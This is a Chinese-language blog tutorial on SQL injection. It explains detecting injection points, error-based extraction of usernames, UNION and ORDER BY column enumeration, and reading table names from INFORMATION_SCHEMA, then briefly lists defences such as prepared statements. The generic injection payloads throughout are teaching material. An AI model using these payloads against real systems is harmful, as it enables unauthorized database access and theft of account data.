sql注入

一.原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。SQL注入是比较常见的网络攻击方式之一,是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

二.过程

1.判断网站是否存在注入点

(1)加入单引号 ' 提交

结果:如果出现错误提示,则该网站可能存在注入漏洞

(2)数字型判断是否有注入

语句:and 1=1;and 1=2

结果:分别返回不同的页面,说明存在注入漏洞

(3)字符型判断是否有注入

语句:' and '1'=1; ' and '1=2

结果:分别返回不同的页面, 说明存在注入漏洞

分析:加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏洞

2.利用错误消息提取信息

(1)利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。

例如:

SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

 错误提示:

 

 这就可以获取到用户的用户名为 root。

利用此方法可以递归推导出所有的账户信息:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))

通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息。

3.获取元数据

SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES  

一些常用的系统数据库视图:

4.order by猜测列数

SELECT * FROM users WHERE id = 1
SELECT * FROM users WHERE id = 1 ORDER BY 1
SELECT * FROM users WHERE id = 1 ORDER BY 2 
SELECT * FROM users WHERE id = 1 ORDER BY 4   --异常,超出范围

说明只有3列

5.union 查询

UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:

  • 所有查询中的列数必须相同
  • 数据类型必须兼容

用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。

在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:

SELECT * FROM users WHERE id = 1 UNION SELECT 1

数据库会发出异常:
在这里插入图片描述
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:

UNION SELECT 1,2
UNION SELECT 1,2,3

三.防止sql注入

      但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。

1.检查变量数据类型和格式

2.过滤特殊符号

3.绑定变量,使用预编译语句

 

posted @ 2020-11-09 11:33  程序界第一佳丽  阅读(163)  评论(0编辑  收藏  举报